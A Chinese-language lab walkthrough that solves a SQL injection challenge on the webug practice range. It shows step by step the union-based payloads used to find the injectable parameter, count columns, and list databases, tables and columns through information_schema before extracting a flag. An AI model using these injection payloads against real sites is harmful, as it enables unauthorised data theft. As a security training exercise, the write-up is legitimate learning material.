访问靶场:
(1)看到地址有id=1,改变id为2、3分别试一试
id=2
id=3
可以发现,随着id后面数值的改变,红框处的值也随之改变
(2)判断注入点类型,尝试下面语句:
url?id=1) 括号无反应,看来是屏蔽了
url?id=1" 双引号无反应
url?id=1’ 单引号有结果
(3)判断字段数
id=1' order by 5 %23
,利用二分法判断,3、5均报错
(mysql有三种注释方法,1、# … 2、-- … 3、/…/,%23是#的url表示)
1、2均正确,说明字段数是2
测到查询结果为两列,接下来让我们看看我们想要的数据在第几列
url:id=1' union select 1,2 %23
说明会回显第二列的内容,那我们可以通过替换第二列的内容去获取数据库的相关信息。
例如:id=3' union select 1,version() %23
(获得版本)
(4)获取数据库名
== a、获取全部数据库 ==
id=3' union select 1,group_concat(schema_name) from information_schema.schemata
(前三个都是mysql自带的数据库,因此我们只需要注意后面的test、webug、webug_sys、webug_width_byte数据库就行)
== b、获取当前数据库 ==
id=3' union select 1,database() %23
当前数据库名为webug
(5)查看当前数据库下有哪些表
id=3' union select 1,group_concat(table_name)from information_schema.tables where table_schema='webug' %23
列出的表中看到有一个名为flag的表
(6)查看env_list表里有几列
id=3' union select 1,group_concat(column_name)from information_schema.columns where table_name='env_list' and table_schema='webug' %23
(7)查看envFlag下的内容
id=3' union select 1,envFlag from env_list where id=1 %23
获取到了flag!
参考链接:https://blog.csdn.net/ONS_cukuyo/article/details/88037625